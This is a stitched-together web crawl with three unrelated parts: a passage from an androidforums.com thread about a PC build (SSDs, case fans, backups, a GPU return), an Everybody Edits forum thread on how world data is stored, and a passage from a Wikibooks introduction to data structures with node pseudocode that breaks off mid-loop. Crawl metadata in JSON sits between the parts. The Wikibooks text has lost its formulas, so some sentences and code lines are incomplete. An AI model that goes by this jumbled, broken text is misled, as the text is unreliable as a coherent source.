I also have Diablo III on the SSD since their asset loading routine sucks and causes hitching on a mechanical drive; SRT caching won't cache huge files (like DIII's 1GB+ MPQ files). You may want to have the option available to you should you need it.
14. Mehta23
Mehta23 Well-Known Member
Thread Starter
173
Wel, after being told it was a waste of money :p. it seems to have done well.
It came with a anti static brush to take away all the dust - not bad.
Cleaning Solution
and a microfibre cloth.
Got rid of the marks, what else can I say?
I have no idea about SRT caching at all.
15. Mehta23
Mehta23 Well-Known Member
Thread Starter
173
Another thing, the icon for EVGA precision X has just vanished. It's not just a white page with a icon on it...
I've tried reinstalling it but nothing happened?
This has just fixed itself...
16. Mehta23
Mehta23 Well-Known Member
Thread Starter
173
In addition to not knowing what SSD size to get, I don't know what are like good gpu / CPU temps to stay under...?
By not getting any fans I can save myself £35, which is almost the price as a 64GB OCZ or SanDisk ssd
Edit : I forgot how expensive my graphics card was, so I've actually got £80 out of my budget (including the extra few hundred quid I've put on)
Considering I still want my keyboard / mouse, looks like my fans ( at least the CPU cooler) and ssd will have to wait until Xmas / I get a job :'(
17. Mehta23
Mehta23 Well-Known Member
Thread Starter
173
I'm finding my exhaust case fan to be a little noisy and i was wondering if it was worth it to replace it / get some top fans..?
Recommended brands?
18. Rolo42
Rolo42 Well-Known Member
103
Mar 23, 2012
712
118
103
Male
Retired Electronics, Computer, Network Engineer
Greensboro, NC
Exhaust (and top) definitely (if your top is open but not exhausting, the rear fan will pull outside air rather than inside (hot) air.
I pretty much have Antec Tri-Cool LED fans because they come with the cases. They last a few years and run noise-free before dying (had 2/12 120mm plotz after 4-6 years; I've never had an Antec 80mm fan break as they've outlived their usefulness but I've had other brands die out.)
Enermax fans have some nice bling if that's important.
-+-
Definitely RMA the card (weak component now ~ failure later) for another new one. If they don't exchange for new, I'd just return it and go for another brand.
-+-
I've never used PrecisionX; I've always used MSI Afterburner.
Mehta23 likes this.
19. Mehta23
Mehta23 Well-Known Member
Thread Starter
173
Yeah, the top is open.
A quick look on amazon shows the 200mm Cooler master fan, some corsair 120mm and artic cooling and another called akasa.
These the ones you're on about?
Antec 120mm TwoCool Fan for PC
http://www.amazon.co.uk/dp/B007TG5E8Q/ref=cm_sw_r_an_am_ap_am_gb?ie=UTF8
Enermax T.B.Silence PWM Case Fan 120 x 120 x 25
http://www.amazon.co.uk/dp/B004RJ6K4A/ref=cm_sw_r_an_am_ap_am_gb?ie=UTF8
I was also wondering if it would be better to get the cheaper CM top 200mm or two slightly better 120's?
20. Mehta23
Mehta23 Well-Known Member
Thread Starter
173
Another thing ( sorry!)
I've yet to make a backup of anything , as I dont have anything to do it on. ( 10 DVD's is a bit much I think , although I could do it )
Is it better to get an external back up drive, or a internal one and then remove that and keep it safe ...somewhere..?
21. Mehta23
Mehta23 Well-Known Member
Thread Starter
173
One more thing!
How much of a difference would I see in normal tasks, Photoshop/video editing and gaming if I overclock my CPU/GPU?
Just wondering if it's worth doing it.
Plus the question about the fans.. :)
TIA (Rolo)
22. Mehta23
Mehta23 Well-Known Member
Thread Starter
173
Still the same price :(
Going back to SSD's....
Would you still say the Mushkin are the best? Just that they are a bit more expensive ,
23. alostpacket
alostpacket Over Macho Grande?
513
Nov 29, 2009
7,978
3,606
513
Android App Developer
NY
For SSD Intel or Samsung are good
For cleaning your monitor, use a microfiber cloth or any very soft cloth and just a drop or two of water. I usually get a cup and dip a tiny part of the cloth in and wipe very gently on the monitor.
Whatever you do dont use any ammonia based cleaners. I personally stay away from any chemical cleaner.
As for temp/OC'ing -- what CPU do you have?
24. Mehta23
Mehta23 Well-Known Member
Thread Starter
173
I have a
i5 3750K
EVGA 670 FTW SIg II
Corsair 7650W PSU
Aus P8Z77 V-LX.
25. Mehta23
Mehta23 Well-Known Member
Thread Starter
173
I've been meaning to start the RMA process to send back my GPU .
I've been told to start that RMA from the EVGA website and so on. Only , there's no HQ in the UK, and the only one in Europe is in Germany . There's no way I'm paying
Share This Page
Loading... | {
"url": "https://androidforums.com/threads/qs-about-my-rig-backups.629502/page-2",
"source_domain": "androidforums.com",
"snapshot_id": "crawl=CC-MAIN-2017-22",
"warc_metadata": {
"Content-Length": "223415",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:XBG5LPSJ66VELVVA6K6LN5WLCHOZA3ML",
"WARC-Concurrent-To": "<urn:uuid:3af20304-c5f2-4575-bd1d-dfefef003618>",
"WARC-Date": "2017-05-25T11:02:43Z",
"WARC-IP-Address": "173.192.24.230",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:Z5FT5IW36VX242Y4HUEYEBNYHGRRJNXP",
"WARC-Record-ID": "<urn:uuid:f74f28fb-ef3a-4c2c-a4e3-aab8b7a23bec>",
"WARC-Target-URI": "https://androidforums.com/threads/qs-about-my-rig-backups.629502/page-2",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:a60ff49f-6463-4ec9-964d-3b88ea87a291>"
},
"warc_info": "robots: classic\r\nhostname: ip-10-185-224-210.ec2.internal\r\nsoftware: Nutch 1.6 (CC)/CC WarcExport 1.0\r\nisPartOf: CC-MAIN-2017-22\r\noperator: Common Crawl Admin\r\ndescription: Wide crawl of the web for May 2017\r\npublisher: Common Crawl\r\nformat: WARC File Format 1.0\r\nconformsTo: http://bibnum.bnf.fr/WARC/WARC_ISO_28500_version1_latestdraft.pdf"
} | {
"line_start_idx": [
0,
1,
81,
82,
108,
109,
173,
174,
187,
188,
218,
237,
245,
246,
287,
288,
426,
432,
433,
451,
452,
465,
466,
496,
515,
523,
524,
605,
606,
689,
723,
729,
742,
743,
773,
792,
800,
801,
927,
928,
961,
967,
979,
980,
1009,
1017,
1018,
1035,
1043,
1051,
1059,
1068,
1120,
1139,
1157,
1158,
1277,
1278,
1678,
1679,
1830,
1836,
1860,
1873,
1874,
1904,
1923,
1931,
1932,
1987,
1988,
2201,
2202,
2279,
2285,
2297,
2298,
2327,
2335,
2336,
2353,
2361,
2369,
2377,
2386,
2438,
2457,
2708,
2709,
2922,
2928,
2941,
2942,
2972,
2991,
2999,
3000,
3095,
3096,
3141,
3147,
3160,
3161,
3191,
3210,
3218,
3219,
3285,
3286,
3297,
3303,
3316,
3317,
3347,
3366,
3374,
3375,
3570,
3673,
3674,
3844,
3845,
3913,
3919,
3932,
3933,
3962,
3970,
3971,
3988,
3996,
4004,
4012,
4021,
4073,
4092,
4230,
4236,
4260,
4274,
4275,
4305,
4324,
4332,
4333,
4383,
4384,
4442,
4443,
4563,
4569,
4583,
4584,
4614,
4633,
4641,
4642,
4682,
4688,
4701,
4702,
4731,
4739,
4740,
4757,
4765,
4773,
4781,
4790,
4842,
4861,
4952,
4953,
5123,
5124,
5428,
5429,
5684,
5690,
5704,
5705,
5735,
5754,
5762,
5763,
5845,
5846,
5920,
5921,
5943,
5944,
5972,
5973,
6020,
6021,
6066,
6072,
6086,
6087,
6117,
6136,
6144,
6145,
6261,
6262,
6315,
6316,
6317,
6351,
6357,
6371,
6372,
6402,
6421,
6429,
6430,
6549,
6550,
6656,
6657,
6658,
6807,
6808,
6959,
6965,
6979,
6980,
7010,
7029,
7037,
7038,
7171,
7172,
7196,
7202,
7215,
7216,
7245,
7253,
7254,
7271,
7279,
7287,
7295,
7304,
7356,
7375,
7514,
7515,
7801,
7802,
7861,
7862,
7870,
7871,
8034,
8035,
8043,
8044,
8110,
8116,
8140,
8154,
8155,
8185,
8204,
8212,
8213,
8240,
8241,
8366,
8367,
8403,
8438,
8515,
8567,
8644,
8645,
8754,
8760,
8774,
8775,
8805,
8824,
8832,
8833,
8861,
8862,
9003,
9004,
9127,
9133,
9147,
9148,
9178,
9197,
9205,
9206,
9226,
9227,
9347,
9348,
9391,
9392,
9434,
9435,
9450,
9456,
9470,
9471,
9501,
9520,
9528,
9529,
9557,
9558,
9586,
9587,
9679,
9685,
9703,
9704,
9739,
9747,
9748,
9765,
9775,
9785,
9793,
9819,
9826,
9864,
9865,
10068,
10069,
10176,
10177,
10225,
10231,
10245,
10246,
10276,
10295,
10303,
10304,
10317,
10330,
10354,
10376,
10396,
10402,
10416,
10417,
10447,
10466,
10474,
10475,
10544,
10545,
10716,
10722,
10723,
10739,
10740
],
"line_end_idx": [
1,
81,
82,
108,
109,
173,
174,
187,
188,
218,
237,
245,
246,
287,
288,
426,
432,
433,
451,
452,
465,
466,
496,
515,
523,
524,
605,
606,
689,
723,
729,
742,
743,
773,
792,
800,
801,
927,
928,
961,
967,
979,
980,
1009,
1017,
1018,
1035,
1043,
1051,
1059,
1068,
1120,
1139,
1157,
1158,
1277,
1278,
1678,
1679,
1830,
1836,
1860,
1873,
1874,
1904,
1923,
1931,
1932,
1987,
1988,
2201,
2202,
2279,
2285,
2297,
2298,
2327,
2335,
2336,
2353,
2361,
2369,
2377,
2386,
2438,
2457,
2708,
2709,
2922,
2928,
2941,
2942,
2972,
2991,
2999,
3000,
3095,
3096,
3141,
3147,
3160,
3161,
3191,
3210,
3218,
3219,
3285,
3286,
3297,
3303,
3316,
3317,
3347,
3366,
3374,
3375,
3570,
3673,
3674,
3844,
3845,
3913,
3919,
3932,
3933,
3962,
3970,
3971,
3988,
3996,
4004,
4012,
4021,
4073,
4092,
4230,
4236,
4260,
4274,
4275,
4305,
4324,
4332,
4333,
4383,
4384,
4442,
4443,
4563,
4569,
4583,
4584,
4614,
4633,
4641,
4642,
4682,
4688,
4701,
4702,
4731,
4739,
4740,
4757,
4765,
4773,
4781,
4790,
4842,
4861,
4952,
4953,
5123,
5124,
5428,
5429,
5684,
5690,
5704,
5705,
5735,
5754,
5762,
5763,
5845,
5846,
5920,
5921,
5943,
5944,
5972,
5973,
6020,
6021,
6066,
6072,
6086,
6087,
6117,
6136,
6144,
6145,
6261,
6262,
6315,
6316,
6317,
6351,
6357,
6371,
6372,
6402,
6421,
6429,
6430,
6549,
6550,
6656,
6657,
6658,
6807,
6808,
6959,
6965,
6979,
6980,
7010,
7029,
7037,
7038,
7171,
7172,
7196,
7202,
7215,
7216,
7245,
7253,
7254,
7271,
7279,
7287,
7295,
7304,
7356,
7375,
7514,
7515,
7801,
7802,
7861,
7862,
7870,
7871,
8034,
8035,
8043,
8044,
8110,
8116,
8140,
8154,
8155,
8185,
8204,
8212,
8213,
8240,
8241,
8366,
8367,
8403,
8438,
8515,
8567,
8644,
8645,
8754,
8760,
8774,
8775,
8805,
8824,
8832,
8833,
8861,
8862,
9003,
9004,
9127,
9133,
9147,
9148,
9178,
9197,
9205,
9206,
9226,
9227,
9347,
9348,
9391,
9392,
9434,
9435,
9450,
9456,
9470,
9471,
9501,
9520,
9528,
9529,
9557,
9558,
9586,
9587,
9679,
9685,
9703,
9704,
9739,
9747,
9748,
9765,
9775,
9785,
9793,
9819,
9826,
9864,
9865,
10068,
10069,
10176,
10177,
10225,
10231,
10245,
10246,
10276,
10295,
10303,
10304,
10317,
10330,
10354,
10376,
10396,
10402,
10416,
10417,
10447,
10466,
10474,
10475,
10544,
10545,
10716,
10722,
10723,
10739,
10740,
10750
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 10750,
"ccnet_original_nlines": 363,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 1,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.336799293756485,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.06509946286678314,
"rps_doc_frac_lines_end_with_ellipsis": 0.013736260123550892,
"rps_doc_frac_no_alph_words": 0.23598553240299225,
"rps_doc_frac_unique_words": 0.38516318798065186,
"rps_doc_mean_word_length": 4.431454181671143,
"rps_doc_num_sentences": 138,
"rps_doc_symbol_to_word_ratio": 0.004520799964666367,
"rps_doc_unigram_entropy": 5.800347328186035,
"rps_doc_word_count": 1685,
"rps_doc_frac_chars_dupe_10grams": 0.08557654172182083,
"rps_doc_frac_chars_dupe_5grams": 0.19753581285476685,
"rps_doc_frac_chars_dupe_6grams": 0.19753581285476685,
"rps_doc_frac_chars_dupe_7grams": 0.19753581285476685,
"rps_doc_frac_chars_dupe_8grams": 0.1613767147064209,
"rps_doc_frac_chars_dupe_9grams": 0.12923529744148254,
"rps_doc_frac_chars_top_2gram": 0.04821212962269783,
"rps_doc_frac_chars_top_3gram": 0.05852416902780533,
"rps_doc_frac_chars_top_4gram": 0.07379134744405746,
"rps_doc_books_importance": -797.3958129882812,
"rps_doc_books_importance_length_correction": -797.3958129882812,
"rps_doc_openwebtext_importance": -534.6746215820312,
"rps_doc_openwebtext_importance_length_correction": -534.6746215820312,
"rps_doc_wikipedia_importance": -332.4667663574219,
"rps_doc_wikipedia_importance_length_correction": -332.4667663574219
},
"fasttext": {
"dclm": 0.026085080578923225,
"english": 0.9347131252288818,
"fineweb_edu_approx": 0.9048569798469543,
"eai_general_math": 0.1161050796508789,
"eai_open_web_math": 0.2190842628479004,
"eai_web_code": 0.0033395900391042233
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "004.15",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computers and Computer science"
}
},
"secondary": {
"code": "004.6",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computers and Computer science"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "5",
"label": "Social/Forum"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"extraction_artifacts": {
"primary": {
"code": "3",
"label": "Irrelevant Content"
},
"secondary": {
"code": "0",
"label": "No Artifacts"
}
},
"missing_content": {
"primary": {
"code": "4",
"label": "Missing Images or Figures"
},
"secondary": {
"code": "0",
"label": "No missing content"
}
},
"document_type_v2": {
"primary": {
"code": "18",
"label": "Q&A Forum"
},
"secondary": {
"code": "16",
"label": "Personal Blog"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "3",
"label": "Mostly Correct"
},
"secondary": {
"code": "4",
"label": "Highly Correct"
}
},
"education_level": {
"primary": {
"code": "2",
"label": "High School Level"
},
"secondary": {
"code": "3",
"label": "Undergraduate Level"
}
}
} | ece34605c058195ed03b4d393ef1a36c |
-2,740,046,464,920,871,000 | Official Everybody Edits Forums
Do you think I could just leave this part blank and it'd be okay? We're just going to replace the whole thing with a header image anyway, right?
You are not logged in.
Advertisement
Hello, visitor! These forums are run off of the revenue generated from these ads. If you'd like to support us, please whitelist us or consider donating:
#1 2018-11-19 19:55:00
Minisaurus
Design Team
From: Under your bed
Joined: 2015-02-26
Posts: 514
Item data usage measurement?
Can someone explain the map usage of data, How do it work?
Do all item use the same amount of data?
Is there a list/bot/feature to see each item size usage?
Last edited by Minisaurus (2018-11-19 19:59:45)
3hEn3Lh.png
Note for EE moderators: I allow the introduction of any of my worlds for any official campaign.
Offline
#2 2018-11-19 20:09:10
XxAtillaxX
Member
From: Canada
Joined: 2015-11-28
Posts: 3,942
Re: Item data usage measurement?
A database object is likely stored as a serialized protocol buffer message, composed of properties with varying sizes depending on the object type.
If you imagine a world that contains 10 blue basic blocks, and two sign blocks.
The basic blocks are stored based on their ID and their locations are combined into one property. A sign block is stored individually based on its text and location.
If you have two signs with two separate texts, you'll likely be storing more data than what it takes to store the 10 basic blocks.
atill.gif
Offline
Wooted by: (3)
#3 2018-11-19 20:15:58
LukeM
Dev Team
From: England
Joined: 2016-06-03
Posts: 2,757
Website
Re: Item data usage measurement?
tl;dr: its complicated
Don't have time to explain it right now, so heres a topic where I've explained part of it before: https://forums.everybodyedits.com/viewt … 06#p726006
Pretty sure there was a better explanation somewhere, but can't find it atm //forums.everybodyedits.com/img/smilies/tongue
Edit: Ninja'd //forums.everybodyedits.com/img/smilies/tongue
Last edited by LukeM (2018-11-19 20:17:25)
Offline
Wooted by:
#4 2018-11-19 20:19:12
peace
Member
From: admin land
Joined: 2015-08-10
Posts: 4,844
Re: Item data usage measurement?
all blokcs but complicated action blokcs such as signs portals and switches ect usases same amount a small amount only but these action blocks takes some more as more information is stored
cZXKA3f.pngMYaIIs9.png
a.pngty anatoly and nikko99 for a golden sig and blueclued for avatar and daneeko for pixelating my sign //forums.everybodyedits.com/img/smilies/cool3bluekeys.png
Offline
#5 2018-11-19 20:20:57
mikelolsuperman
Member
From: North Korea
Joined: 2016-06-26
Posts: 1,394
Website
Re: Item data usage measurement?
/use data aura is pinwheel with yellow color.
/setsmiley that smiley with the tongue sticking out
/viewworlds player he has 20 worlds
Blue is my favourite color
__________________________________________________________________________
I also like lasagna, but not when it's blue
Offline
mikelolsuperman1542655257732615
Board footer
Powered by FluxBB
[ Started around 1558401389.4021 - Generated in 0.028 seconds, 10 queries executed - Memory usage: 1.31 MiB (Peak: 1.42 MiB) ] | {
"url": "https://forums.everybodyedits.com/viewtopic.php?id=44523",
"source_domain": "forums.everybodyedits.com",
"snapshot_id": "crawl=CC-MAIN-2019-22",
"warc_metadata": {
"Content-Length": "24369",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:CQ2YX6NEBHTOSBWERUKB5C6A3TUIPB6J",
"WARC-Concurrent-To": "<urn:uuid:dafb9250-9825-4257-a255-de8f607a1c51>",
"WARC-Date": "2019-05-21T01:16:29Z",
"WARC-IP-Address": "104.18.39.140",
"WARC-Identified-Payload-Type": "application/xhtml+xml",
"WARC-Payload-Digest": "sha1:JXDFVT7TZALSFMG3KJ2MOSTRTBHWT4AV",
"WARC-Record-ID": "<urn:uuid:2aa70fed-a007-4ac6-8545-615a7501701d>",
"WARC-Target-URI": "https://forums.everybodyedits.com/viewtopic.php?id=44523",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:a678dc67-66d2-45ad-8ca2-69efba9e3453>"
},
"warc_info": "isPartOf: CC-MAIN-2019-22\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for May 2019\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-179-238-165.ec2.internal\r\nsoftware: Apache Nutch 1.15 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.1-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: http://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
} | {
"line_start_idx": [
0,
32,
33,
178,
179,
202,
203,
217,
218,
371,
372,
395,
396,
407,
419,
440,
459,
470,
471,
500,
501,
560,
601,
658,
659,
707,
708,
709,
721,
817,
818,
826,
827,
850,
851,
862,
869,
882,
901,
914,
915,
948,
949,
1097,
1098,
1178,
1179,
1345,
1346,
1477,
1478,
1479,
1489,
1490,
1498,
1499,
1514,
1515,
1538,
1539,
1545,
1554,
1568,
1587,
1600,
1608,
1609,
1642,
1643,
1666,
1667,
1818,
1941,
1942,
2003,
2004,
2047,
2048,
2056,
2057,
2068,
2069,
2092,
2093,
2099,
2106,
2123,
2142,
2155,
2156,
2189,
2190,
2379,
2380,
2381,
2404,
2567,
2568,
2576,
2577,
2600,
2601,
2617,
2624,
2642,
2661,
2674,
2682,
2683,
2716,
2717,
2763,
2815,
2851,
2852,
2853,
2880,
2955,
2999,
3000,
3008,
3009,
3041,
3042,
3055,
3056,
3074,
3075
],
"line_end_idx": [
32,
33,
178,
179,
202,
203,
217,
218,
371,
372,
395,
396,
407,
419,
440,
459,
470,
471,
500,
501,
560,
601,
658,
659,
707,
708,
709,
721,
817,
818,
826,
827,
850,
851,
862,
869,
882,
901,
914,
915,
948,
949,
1097,
1098,
1178,
1179,
1345,
1346,
1477,
1478,
1479,
1489,
1490,
1498,
1499,
1514,
1515,
1538,
1539,
1545,
1554,
1568,
1587,
1600,
1608,
1609,
1642,
1643,
1666,
1667,
1818,
1941,
1942,
2003,
2004,
2047,
2048,
2056,
2057,
2068,
2069,
2092,
2093,
2099,
2106,
2123,
2142,
2155,
2156,
2189,
2190,
2379,
2380,
2381,
2404,
2567,
2568,
2576,
2577,
2600,
2601,
2617,
2624,
2642,
2661,
2674,
2682,
2683,
2716,
2717,
2763,
2815,
2851,
2852,
2853,
2880,
2955,
2999,
3000,
3008,
3009,
3041,
3042,
3055,
3056,
3074,
3075,
3201
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 3201,
"ccnet_original_nlines": 127,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.25034770369529724,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.011126560159027576,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.3518775999546051,
"rps_doc_frac_unique_words": 0.5854700803756714,
"rps_doc_mean_word_length": 5.200854778289795,
"rps_doc_num_sentences": 39,
"rps_doc_symbol_to_word_ratio": 0.009735739789903164,
"rps_doc_unigram_entropy": 5.34805154800415,
"rps_doc_word_count": 468,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0.048479869961738586,
"rps_doc_frac_chars_dupe_6grams": 0.02711585909128189,
"rps_doc_frac_chars_dupe_7grams": 0,
"rps_doc_frac_chars_dupe_8grams": 0,
"rps_doc_frac_chars_dupe_9grams": 0,
"rps_doc_frac_chars_top_2gram": 0.016433849930763245,
"rps_doc_frac_chars_top_3gram": 0.02670500986278057,
"rps_doc_frac_chars_top_4gram": 0.04930156096816063,
"rps_doc_books_importance": -359.8605041503906,
"rps_doc_books_importance_length_correction": -359.8605041503906,
"rps_doc_openwebtext_importance": -225.68634033203125,
"rps_doc_openwebtext_importance_length_correction": -225.68634033203125,
"rps_doc_wikipedia_importance": -152.14120483398438,
"rps_doc_wikipedia_importance_length_correction": -152.14120483398438
},
"fasttext": {
"dclm": 0.09151118993759155,
"english": 0.8807265162467957,
"fineweb_edu_approx": 1.8605866432189941,
"eai_general_math": 0.041566189378499985,
"eai_open_web_math": 0.37110620737075806,
"eai_web_code": 0.00005697999949916266
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "005.74",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "004.67",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computers and Computer science"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "2",
"label": "Understand"
},
"secondary": {
"code": "3",
"label": "Apply"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "2",
"label": "Conceptual"
},
"secondary": {
"code": "3",
"label": "Procedural"
}
},
"document_type_v1": {
"primary": {
"code": "5",
"label": "Social/Forum"
},
"secondary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
}
},
"extraction_artifacts": {
"primary": {
"code": "3",
"label": "Irrelevant Content"
},
"secondary": {
"code": "0",
"label": "No Artifacts"
}
},
"missing_content": {
"primary": {
"code": "4",
"label": "Missing Images or Figures"
},
"secondary": {
"code": "0",
"label": "No missing content"
}
},
"document_type_v2": {
"primary": {
"code": "18",
"label": "Q&A Forum"
},
"secondary": {
"code": "8",
"label": "Documentation"
}
},
"reasoning_depth": {
"primary": {
"code": "3",
"label": "Intermediate Reasoning"
},
"secondary": {
"code": "2",
"label": "Basic Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "3",
"label": "Mostly Correct"
},
"secondary": {
"code": "4",
"label": "Highly Correct"
}
},
"education_level": {
"primary": {
"code": "3",
"label": "Undergraduate Level"
},
"secondary": {
"code": "2",
"label": "High School Level"
}
}
} | ece34605c058195ed03b4d393ef1a36c |
6,706,415,089,650,487,000 | Open main menu
Wikibooks β
Data Structures/Introduction
< Data Structures
Computers can store and process vast amounts of data. Formal data structures enable a programmer to mentally structure large amounts of data into conceptually manageable relationships.
Sometimes we use data structures to allow us to do more: for example, to accomplish fast searching or sorting of data. Other times, we use data structures so that we can do less: for example, the concept of the stack is a limited form of a more general data structure. These limitations provide us with guarantees that allow us to reason about our programs more easily. Data structures also provide guarantees about algorithmic complexity — choosing an appropriate data structure for a job is crucial for writing good software.
Because data structures are higher-level abstractions, they present to us operations on groups of data, such as adding an item to a list, or looking up the highest-priority item in a queue. When a data structure provides operations, we can call the data structure an abstract data type (sometimes abbreviated as ADT). Abstract data types can minimize dependencies in your code, which is important when your code needs to be changed. Because you are abstracted away from lower-level details, some of the higher-level commonalities one data structure shares with a different data structure can be used to replace one with the other.
Our programming languages come equipped with a set of built-in types, such as integers and floating-point numbers, that allow us to work with data objects for which the machine's processor has native support. These built-in types are abstractions of what the processor actually provides because built-in types hide details both about their execution and limitations.
For example, when we use a floating-point number we are primarily concerned with its value and the operations that can be applied to it. Consider computing the length of a hypotenuse:
let c := sqrt(a * a + b * b)
The machine code generated from the above would use common patterns for computing these values and accumulating the result. In fact, these patterns are so repetitious that high-level languages were created to avoid this redundancy and to allow programmers to think about what value was computed instead of how it was computed.
Two useful and related concepts are at play here:
• Encapsulation is when common patterns are grouped together under a single name and then parameterized, in order to achieve a higher-level understanding of that pattern. For example, the multiplication operation requires two source values and writes the product of those two values to a given destination. The operation is parameterized by both the two sources and the single destination.
• Abstraction is a mechanism to hide the implementation details of an abstraction away from the users of the abstraction. When we multiply numbers, for example, we don't need to know the technique actually used by the processor, we just need to know its properties.
A programming language is both an abstraction of a machine and a tool to encapsulate-away the machine's inner details. For example, a program written in a programming language can be compiled to several different machine architectures when that programming language sufficiently encapsulates the user away from any one machine.
In this book, we take the abstraction and encapsulation that our programming languages provide a step further: When applications get to be more complex, the abstractions of programming languages become too low-level to effectively manage. Thus, we build our own abstractions on top of these lower-level constructs. We can even build further abstractions on top of those abstractions. Each time we build upwards, we lose access to the lower-level implementation details. While losing such access might sound like a bad trade off, it is actually quite a bargain: We are primarily concerned with solving the problem at hand rather than with any trivial decisions that could have just as arbitrarily been replaced with a different decision. When we can think on higher levels, we relieve ourselves of these burdens.
Each data structure that we cover in this book can be thought of as a single unit that has a set of values and a set of operations that can be performed to either access or change these values. The data structure itself can be understood as a set of the data structure's operations together with each operation's properties (i.e., what the operation does and how long we could expect it to take).
Big-oh notation is a common way of expressing a computer code's performance. The notation creates a relationship between the number of items in memory and the average performance for a function. For a set of items, indicates that a particular function will operate on the set times on average. indicates that the function always performs a constant number of operations regardless of the number of items. The notation only represents algorithmic complexity so a function may perform more operations but constant multiples of are dropped by convention.
Contents
The NodeEdit
The first data structure we look at is the node structure. A node is simply a container for a value, plus a pointer to a "next" node (which may be null).
The above is an abstraction of a structure:
In some languages, structures are called records or classes. Some other languages provide no direct support for structures, but instead allow them to be built from other constructs (such as tuples or lists).
Here, we are only concerned that nodes contain values of some form, so we simply say its type is "element" because the type is not important. In some programming languages no type ever needs to be specified (as in dynamically typed languages, like Scheme, Smalltalk or Python). In other languages the type might need to be restricted to integer or string (as in statically typed languages like C). In still other languages, the decision of the type of the contained element can be delayed until the type is actually used (as in languages that support generic types, like C++ and Java). In any of these cases, translating the pseudocode into your own language should be relatively simple.
Each of the node operations specified can be implemented quite easily:
// Create a new node, with v as its contained value and next as
// the value of the next pointer
function make-node(v, node next): node
let result := new node {v, next}
return result
end
// Returns the value contained in node n
function get-value(node n): element
return n.value
end
// Returns the value of node n's next pointer
function get-next(node n): node
return n.next
end
// Sets the contained value of n to be v
function set-value(node n, v)
n.value := v
end
// Sets the value of node n's next pointer to be new-next
function set-next(node n, new-next)
n.next := new-next
return new-next
end
Principally, we are more concerned with the operations and the implementation strategy than we are with the structure itself and the low-level implementation. For example, we are more concerned about the time requirement specified, which states that all operations take time that is . The above implementation meets this criteria, because the length of time each operation takes is constant. Another way to think of constant time operations is to think of them as operations whose analysis is not dependent on any variable. (The notation is mathematically defined in the next chapter. For now, it is safe to assume it just means constant time.)
Because a node is just a container both for a value and container to a pointer to another node, it shouldn't be surprising how trivial the node data structure itself (and its implementation) is.
Building a Chain from NodesEdit
Although the node structure is simple, it actually allows us to compute things that we couldn't have computed with just fixed-size integers alone.
But first, we'll look at a program that doesn't need to use nodes. The following program will read in (from an input stream; which can either be from the user or a file) a series of numbers until the end-of-file is reached and then output what the largest number is and the average of all numbers:
program(input-stream in, output-stream out)
let total := 0
let count := 0
let largest :=
while has-next-integer(in):
let i := read-integer(in)
total := total + i
count := count + 1
largest := max(largest, i)
repeat
println out "Maximum: " largest
if count != 0:
println out "Average: " (total / count)
fi
end
But now consider solving a similar task: read in a series of numbers until the end-of-file is reached, and output the largest number and the average of all numbers that evenly divide the largest number. This problem is different because it's possible the largest number will be the last one entered: if we are to compute the average of all numbers that divide that number, we'll need to somehow remember all of them. We could use variables to remember the previous numbers, but variables would only help us solve the problem when there aren't too many numbers entered.
For example, suppose we were to give ourselves 200 variables to hold the state input by the user. And further suppose that each of the 200 variables had 64-bits. Even if we were very clever with our program, it could only compute results for different types of input. While this is a very large number of combinations, a list of 300 64-bit numbers would require even more combinations to be properly encoded. (In general, the problem is said to require linear space. All programs that need only a finite number of variables can be solved in constant space.)
Instead of building-in limitations that complicate coding (such as having only a constant number of variables), we can use the properties of the node abstraction to allow us to remember as many numbers as our computer can hold:
program(input-stream in, output-stream out)
let largest :=
let nodes := null
while has-next-integer(in):
let i := read-integer(in)
nodes := make-node(i, nodes) // contain the value i,
// and remember the previous numbers too
largest := max(largest, i)
repeat
println out "Maximum: " largest
// now compute the averages of all factors of largest
let total := 0
let count := 0
while nodes != null:
let j := get-value(nodes)
if j divides largest:
